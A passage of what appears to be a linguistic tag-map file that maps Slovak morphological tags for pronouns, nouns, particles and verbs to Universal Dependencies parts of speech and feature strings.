"PUmp3": {POS: PRON, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUmp4": {POS: PRON, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUmp5": {POS: PRON, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUmp6": {POS: PRON, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUmp7": {POS: PRON, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUms1": {POS: PRON, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUms2": {POS: PRON, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUms3": {POS: PRON, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUms4": {POS: PRON, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUms5": {POS: PRON, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUms6": {POS: PRON, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUms7": {POS: PRON, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUnp1": {POS: PRON, "morph": "Case=Nom|Gender=Neut|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUnp2": {POS: PRON, "morph": "Case=Gen|Gender=Neut|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUnp3": {POS: PRON, "morph": "Case=Dat|Gender=Neut|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUnp4": {POS: PRON, "morph": "Case=Acc|Gender=Neut|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUnp5": {POS: PRON, "morph": "Case=Voc|Gender=Neut|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUnp6": {POS: PRON, "morph": "Case=Loc|Gender=Neut|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUnp7": {POS: PRON, "morph": "Case=Ins|Gender=Neut|MorphPos=Def|Number=Plur|PronType=Prs"},
"PUns1": {POS: PRON, "morph": "Case=Nom|Gender=Neut|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUns2": {POS: PRON, "morph": "Case=Gen|Gender=Neut|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUns3": {POS: PRON, "morph": "Case=Dat|Gender=Neut|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUns4": {POS: PRON, "morph": "Case=Acc|Gender=Neut|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUns5": {POS: PRON, "morph": "Case=Voc|Gender=Neut|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUns6": {POS: PRON, "morph": "Case=Loc|Gender=Neut|MorphPos=Def|Number=Sing|PronType=Prs"},
"PUns7": {POS: PRON, "morph": "Case=Ins|Gender=Neut|MorphPos=Def|Number=Sing|PronType=Prs"},
"Q": {POS: X, "morph": "Hyph=Yes"},
"R": {POS: PRON, "morph": "PronType=Prs|Reflex=Yes"},
"SAfp1": {POS: NOUN, "morph": "Case=Nom|Gender=Fem|MorphPos=Adj|Number=Plur"},
"SAfp2": {POS: NOUN, "morph": "Case=Gen|Gender=Fem|MorphPos=Adj|Number=Plur"},
"SAfp3": {POS: NOUN, "morph": "Case=Dat|Gender=Fem|MorphPos=Adj|Number=Plur"},
"SAfp4": {POS: NOUN, "morph": "Case=Acc|Gender=Fem|MorphPos=Adj|Number=Plur"},
"SAfp5": {POS: NOUN, "morph": "Case=Voc|Gender=Fem|MorphPos=Adj|Number=Plur"},
"SAfp6": {POS: NOUN, "morph": "Case=Loc|Gender=Fem|MorphPos=Adj|Number=Plur"},
"SAfp7": {POS: NOUN, "morph": "Case=Ins|Gender=Fem|MorphPos=Adj|Number=Plur"},
"SAfs1": {POS: NOUN, "morph": "Case=Nom|Gender=Fem|MorphPos=Adj|Number=Sing"},
"SAfs2": {POS: NOUN, "morph": "Case=Gen|Gender=Fem|MorphPos=Adj|Number=Sing"},
"SAfs3": {POS: NOUN, "morph": "Case=Dat|Gender=Fem|MorphPos=Adj|Number=Sing"},
"SAfs4": {POS: NOUN, "morph": "Case=Acc|Gender=Fem|MorphPos=Adj|Number=Sing"},
"SAfs5": {POS: NOUN, "morph": "Case=Voc|Gender=Fem|MorphPos=Adj|Number=Sing"},
"SAfs6": {POS: NOUN, "morph": "Case=Loc|Gender=Fem|MorphPos=Adj|Number=Sing"},
"SAfs7": {POS: NOUN, "morph": "Case=Ins|Gender=Fem|MorphPos=Adj|Number=Sing"},
"SAip1": {POS: NOUN, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAip2": {POS: NOUN, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAip3": {POS: NOUN, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAip4": {POS: NOUN, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAip5": {POS: NOUN, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAip6": {POS: NOUN, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAip7": {POS: NOUN, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAis1": {POS: NOUN, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAis2": {POS: NOUN, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAis3": {POS: NOUN, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAis4": {POS: NOUN, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAis5": {POS: NOUN, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAis6": {POS: NOUN, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAis7": {POS: NOUN, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAmp1": {POS: NOUN, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAmp2": {POS: NOUN, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAmp3": {POS: NOUN, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAmp4": {POS: NOUN, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAmp5": {POS: NOUN, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAmp6": {POS: NOUN, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAmp7": {POS: NOUN, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Plur"},
"SAms1": {POS: NOUN, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAms2": {POS: NOUN, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAms3": {POS: NOUN, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAms4": {POS: NOUN, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAms5": {POS: NOUN, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAms6": {POS: NOUN, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAms7": {POS: NOUN, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Sing"},
"SAnp1": {POS: NOUN, "morph": "Case=Nom|Gender=Neut|MorphPos=Adj|Number=Plur"},
"SAnp2": {POS: NOUN, "morph": "Case=Gen|Gender=Neut|MorphPos=Adj|Number=Plur"},
"SAnp3": {POS: NOUN, "morph": "Case=Dat|Gender=Neut|MorphPos=Adj|Number=Plur"},
"SAnp4": {POS: NOUN, "morph": "Case=Acc|Gender=Neut|MorphPos=Adj|Number=Plur"},
"SAnp5": {POS: NOUN, "morph": "Case=Voc|Gender=Neut|MorphPos=Adj|Number=Plur"},
"SAnp6": {POS: NOUN, "morph": "Case=Loc|Gender=Neut|MorphPos=Adj|Number=Plur"},
"SAnp7": {POS: NOUN, "morph": "Case=Ins|Gender=Neut|MorphPos=Adj|Number=Plur"},
"SAns1": {POS: NOUN, "morph": "Case=Nom|Gender=Neut|MorphPos=Adj|Number=Sing"},
"SAns2": {POS: NOUN, "morph": "Case=Gen|Gender=Neut|MorphPos=Adj|Number=Sing"},
"SAns3": {POS: NOUN, "morph": "Case=Dat|Gender=Neut|MorphPos=Adj|Number=Sing"},
"SAns4": {POS: NOUN, "morph": "Case=Acc|Gender=Neut|MorphPos=Adj|Number=Sing"},
"SAns5": {POS: NOUN, "morph": "Case=Voc|Gender=Neut|MorphPos=Adj|Number=Sing"},
"SAns6": {POS: NOUN, "morph": "Case=Loc|Gender=Neut|MorphPos=Adj|Number=Sing"},
"SAns7": {POS: NOUN, "morph": "Case=Ins|Gender=Neut|MorphPos=Adj|Number=Sing"},
"SFfp1": {POS: NOUN, "morph": "Case=Nom|Gender=Fem|MorphPos=Mix|Number=Plur"},
"SFfp2": {POS: NOUN, "morph": "Case=Gen|Gender=Fem|MorphPos=Mix|Number=Plur"},
"SFfp3": {POS: NOUN, "morph": "Case=Dat|Gender=Fem|MorphPos=Mix|Number=Plur"},
"SFfp4": {POS: NOUN, "morph": "Case=Acc|Gender=Fem|MorphPos=Mix|Number=Plur"},
"SFfp5": {POS: NOUN, "morph": "Case=Voc|Gender=Fem|MorphPos=Mix|Number=Plur"},
"SFfp6": {POS: NOUN, "morph": "Case=Loc|Gender=Fem|MorphPos=Mix|Number=Plur"},
"SFfp7": {POS: NOUN, "morph": "Case=Ins|Gender=Fem|MorphPos=Mix|Number=Plur"},
"SFfs1": {POS: NOUN, "morph": "Case=Nom|Gender=Fem|MorphPos=Mix|Number=Sing"},
"SFfs2": {POS: NOUN, "morph": "Case=Gen|Gender=Fem|MorphPos=Mix|Number=Sing"},
"SFfs3": {POS: NOUN, "morph": "Case=Dat|Gender=Fem|MorphPos=Mix|Number=Sing"},
"SFfs4": {POS: NOUN, "morph": "Case=Acc|Gender=Fem|MorphPos=Mix|Number=Sing"},
"SFfs5": {POS: NOUN, "morph": "Case=Voc|Gender=Fem|MorphPos=Mix|Number=Sing"},
"SFfs6": {POS: NOUN, "morph": "Case=Loc|Gender=Fem|MorphPos=Mix|Number=Sing"},
"SFfs7": {POS: NOUN, "morph": "Case=Ins|Gender=Fem|MorphPos=Mix|Number=Sing"},
"SSfp1": {POS: NOUN, "morph": "Case=Nom|Gender=Fem|MorphPos=Noun|Number=Plur"},
"SSfp2": {POS: NOUN, "morph": "Case=Gen|Gender=Fem|MorphPos=Noun|Number=Plur"},
"SSfp3": {POS: NOUN, "morph": "Case=Dat|Gender=Fem|MorphPos=Noun|Number=Plur"},
"SSfp4": {POS: NOUN, "morph": "Case=Acc|Gender=Fem|MorphPos=Noun|Number=Plur"},
"SSfp5": {POS: NOUN, "morph": "Case=Voc|Gender=Fem|MorphPos=Noun|Number=Plur"},
"SSfp6": {POS: NOUN, "morph": "Case=Loc|Gender=Fem|MorphPos=Noun|Number=Plur"},
"SSfp7": {POS: NOUN, "morph": "Case=Ins|Gender=Fem|MorphPos=Noun|Number=Plur"},
"SSfs1": {POS: NOUN, "morph": "Case=Nom|Gender=Fem|MorphPos=Noun|Number=Sing"},
"SSfs2": {POS: NOUN, "morph": "Case=Gen|Gender=Fem|MorphPos=Noun|Number=Sing"},
"SSfs3": {POS: NOUN, "morph": "Case=Dat|Gender=Fem|MorphPos=Noun|Number=Sing"},
"SSfs4": {POS: NOUN, "morph": "Case=Acc|Gender=Fem|MorphPos=Noun|Number=Sing"},
"SSfs5": {POS: NOUN, "morph": "Case=Voc|Gender=Fem|MorphPos=Noun|Number=Sing"},
"SSfs6": {POS: NOUN, "morph": "Case=Loc|Gender=Fem|MorphPos=Noun|Number=Sing"},
"SSfs7": {POS: NOUN, "morph": "Case=Ins|Gender=Fem|MorphPos=Noun|Number=Sing"},
"SSip1": {POS: NOUN, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSip2": {POS: NOUN, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSip3": {POS: NOUN, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSip4": {POS: NOUN, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSip5": {POS: NOUN, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSip6": {POS: NOUN, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSip7": {POS: NOUN, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSis1": {POS: NOUN, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSis2": {POS: NOUN, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSis3": {POS: NOUN, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSis4": {POS: NOUN, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSis5": {POS: NOUN, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSis6": {POS: NOUN, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSis7": {POS: NOUN, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSmp1": {POS: NOUN, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSmp2": {POS: NOUN, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSmp3": {POS: NOUN, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSmp4": {POS: NOUN, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSmp5": {POS: NOUN, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSmp6": {POS: NOUN, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSmp7": {POS: NOUN, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Noun|Number=Plur"},
"SSms1": {POS: NOUN, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSms2": {POS: NOUN, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSms3": {POS: NOUN, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSms4": {POS: NOUN, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSms5": {POS: NOUN, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSms6": {POS: NOUN, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSms7": {POS: NOUN, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Noun|Number=Sing"},
"SSnp1": {POS: NOUN, "morph": "Case=Nom|Gender=Neut|MorphPos=Noun|Number=Plur"},
"SSnp2": {POS: NOUN, "morph": "Case=Gen|Gender=Neut|MorphPos=Noun|Number=Plur"},
"SSnp3": {POS: NOUN, "morph": "Case=Dat|Gender=Neut|MorphPos=Noun|Number=Plur"},
"SSnp4": {POS: NOUN, "morph": "Case=Acc|Gender=Neut|MorphPos=Noun|Number=Plur"},
"SSnp5": {POS: NOUN, "morph": "Case=Voc|Gender=Neut|MorphPos=Noun|Number=Plur"},
"SSnp6": {POS: NOUN, "morph": "Case=Loc|Gender=Neut|MorphPos=Noun|Number=Plur"},
"SSnp7": {POS: NOUN, "morph": "Case=Ins|Gender=Neut|MorphPos=Noun|Number=Plur"},
"SSns1": {POS: NOUN, "morph": "Case=Nom|Gender=Neut|MorphPos=Noun|Number=Sing"},
"SSns2": {POS: NOUN, "morph": "Case=Gen|Gender=Neut|MorphPos=Noun|Number=Sing"},
"SSns3": {POS: NOUN, "morph": "Case=Dat|Gender=Neut|MorphPos=Noun|Number=Sing"},
"SSns4": {POS: NOUN, "morph": "Case=Acc|Gender=Neut|MorphPos=Noun|Number=Sing"},
"SSns5": {POS: NOUN, "morph": "Case=Voc|Gender=Neut|MorphPos=Noun|Number=Sing"},
"SSns6": {POS: NOUN, "morph": "Case=Loc|Gender=Neut|MorphPos=Noun|Number=Sing"},
"SSns7": {POS: NOUN, "morph": "Case=Ins|Gender=Neut|MorphPos=Noun|Number=Sing"},
"SUfp1": {POS: NOUN, "morph": "Case=Nom|Gender=Fem|MorphPos=Def|Number=Plur"},
"SUfp2": {POS: NOUN, "morph": "Case=Gen|Gender=Fem|MorphPos=Def|Number=Plur"},
"SUfp3": {POS: NOUN, "morph": "Case=Dat|Gender=Fem|MorphPos=Def|Number=Plur"},
"SUfp4": {POS: NOUN, "morph": "Case=Acc|Gender=Fem|MorphPos=Def|Number=Plur"},
"SUfp5": {POS: NOUN, "morph": "Case=Voc|Gender=Fem|MorphPos=Def|Number=Plur"},
"SUfp6": {POS: NOUN, "morph": "Case=Loc|Gender=Fem|MorphPos=Def|Number=Plur"},
"SUfp7": {POS: NOUN, "morph": "Case=Ins|Gender=Fem|MorphPos=Def|Number=Plur"},
"SUfs1": {POS: NOUN, "morph": "Case=Nom|Gender=Fem|MorphPos=Def|Number=Sing"},
"SUfs2": {POS: NOUN, "morph": "Case=Gen|Gender=Fem|MorphPos=Def|Number=Sing"},
"SUfs3": {POS: NOUN, "morph": "Case=Dat|Gender=Fem|MorphPos=Def|Number=Sing"},
"SUfs4": {POS: NOUN, "morph": "Case=Acc|Gender=Fem|MorphPos=Def|Number=Sing"},
"SUfs5": {POS: NOUN, "morph": "Case=Voc|Gender=Fem|MorphPos=Def|Number=Sing"},
"SUfs6": {POS: NOUN, "morph": "Case=Loc|Gender=Fem|MorphPos=Def|Number=Sing"},
"SUfs7": {POS: NOUN, "morph": "Case=Ins|Gender=Fem|MorphPos=Def|Number=Sing"},
"SUip1": {POS: NOUN, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUip2": {POS: NOUN, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUip3": {POS: NOUN, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUip4": {POS: NOUN, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUip5": {POS: NOUN, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUip6": {POS: NOUN, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUip7": {POS: NOUN, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUis1": {POS: NOUN, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUis2": {POS: NOUN, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUis3": {POS: NOUN, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUis4": {POS: NOUN, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUis5": {POS: NOUN, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUis6": {POS: NOUN, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUis7": {POS: NOUN, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUmp1": {POS: NOUN, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUmp2": {POS: NOUN, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUmp3": {POS: NOUN, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUmp4": {POS: NOUN, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUmp5": {POS: NOUN, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUmp6": {POS: NOUN, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUmp7": {POS: NOUN, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Def|Number=Plur"},
"SUms1": {POS: NOUN, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUms2": {POS: NOUN, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUms3": {POS: NOUN, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUms4": {POS: NOUN, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUms5": {POS: NOUN, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUms6": {POS: NOUN, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUms7": {POS: NOUN, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Def|Number=Sing"},
"SUnp1": {POS: NOUN, "morph": "Case=Nom|Gender=Neut|MorphPos=Def|Number=Plur"},
"SUnp2": {POS: NOUN, "morph": "Case=Gen|Gender=Neut|MorphPos=Def|Number=Plur"},
"SUnp3": {POS: NOUN, "morph": "Case=Dat|Gender=Neut|MorphPos=Def|Number=Plur"},
"SUnp4": {POS: NOUN, "morph": "Case=Acc|Gender=Neut|MorphPos=Def|Number=Plur"},
"SUnp5": {POS: NOUN, "morph": "Case=Voc|Gender=Neut|MorphPos=Def|Number=Plur"},
"SUnp6": {POS: NOUN, "morph": "Case=Loc|Gender=Neut|MorphPos=Def|Number=Plur"},
"SUnp7": {POS: NOUN, "morph": "Case=Ins|Gender=Neut|MorphPos=Def|Number=Plur"},
"SUns1": {POS: NOUN, "morph": "Case=Nom|Gender=Neut|MorphPos=Def|Number=Sing"},
"SUns2": {POS: NOUN, "morph": "Case=Gen|Gender=Neut|MorphPos=Def|Number=Sing"},
"SUns3": {POS: NOUN, "morph": "Case=Dat|Gender=Neut|MorphPos=Def|Number=Sing"},
"SUns4": {POS: NOUN, "morph": "Case=Acc|Gender=Neut|MorphPos=Def|Number=Sing"},
"SUns5": {POS: NOUN, "morph": "Case=Voc|Gender=Neut|MorphPos=Def|Number=Sing"},
"SUns6": {POS: NOUN, "morph": "Case=Loc|Gender=Neut|MorphPos=Def|Number=Sing"},
"SUns7": {POS: NOUN, "morph": "Case=Ins|Gender=Neut|MorphPos=Def|Number=Sing"},
"T": {POS: PART, "morph": "_"},
"TY": {POS: PART, "morph": "Mood=Cnd"},
"VBepa-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=1|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBepa+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=1|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBepb-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=2|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBepb+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=2|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBepc-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=3|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBepc+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=3|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBesa-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=1|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBesa+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=1|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBesb-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=2|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBesb+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=2|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBesc-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=3|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBesc+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=3|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBjpa-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=1|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBjpa+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=1|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBjpb-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=2|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBjpb+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=2|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBjpc-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=3|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBjpc+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=3|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBjsa-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=1|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBjsa+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=1|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBjsb-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=2|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBjsb+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=2|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VBjsc-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=3|Polarity=Neg|Tense=Fut|VerbForm=Fin"},
"VBjsc+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=3|Polarity=Pos|Tense=Fut|VerbForm=Fin"},
"VHd-": {POS: VERB, "morph": "Aspect=Perf|Polarity=Neg|VerbForm=Conv"},
"VHd+": {POS: VERB, "morph": "Aspect=Perf|Polarity=Pos|VerbForm=Conv"},
"VHe-": {POS: VERB, "morph": "Aspect=Imp|Polarity=Neg|VerbForm=Conv"},
"VHe+": {POS: VERB, "morph": "Aspect=Imp|Polarity=Pos|VerbForm=Conv"},
"VHj-": {POS: VERB, "morph": "Aspect=Imp,Perf|Polarity=Neg|VerbForm=Conv"},
"VHj+": {POS: VERB, "morph": "Aspect=Imp,Perf|Polarity=Pos|VerbForm=Conv"},
"VId-": {POS: VERB, "morph": "Aspect=Perf|Polarity=Neg|VerbForm=Inf"},
"VId+": {POS: VERB, "morph": "Aspect=Perf|Polarity=Pos|VerbForm=Inf"},
"VIe-": {POS: VERB, "morph": "Aspect=Imp|Polarity=Neg|VerbForm=Inf"},
"VIe+": {POS: VERB, "morph": "Aspect=Imp|Polarity=Pos|VerbForm=Inf"},
"VIj-": {POS: VERB, "morph": "Aspect=Imp,Perf|Polarity=Neg|VerbForm=Inf"},
"VIj+": {POS: VERB, "morph": "Aspect=Imp,Perf|Polarity=Pos|VerbForm=Inf"},
